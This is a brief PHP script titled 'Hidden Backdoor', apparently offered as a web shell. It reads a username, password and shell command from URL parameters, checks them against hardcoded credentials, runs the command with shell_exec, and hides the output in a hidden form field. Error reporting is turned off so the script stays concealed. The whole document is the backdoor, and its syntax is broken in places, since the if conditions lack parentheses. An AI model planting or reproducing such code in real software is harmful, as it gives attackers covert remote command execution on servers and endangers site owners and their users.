Hidden Backdoor

<?php

error_reporting(0);

$password = $_GET[password];
$username = $_GET[username];
$shell = $_GET[shell];

$pass = "password";
$user = "user";

if $password == $pass{
if $username == $user
{
$print = shell_exec($shell);
echo "<form><input type=\"hidden\" name=\"$print\"/></form>";
}
else {
echo "<form><input type=\"hidden\" name=\"Password salah!\"/></form>";
}
}
?>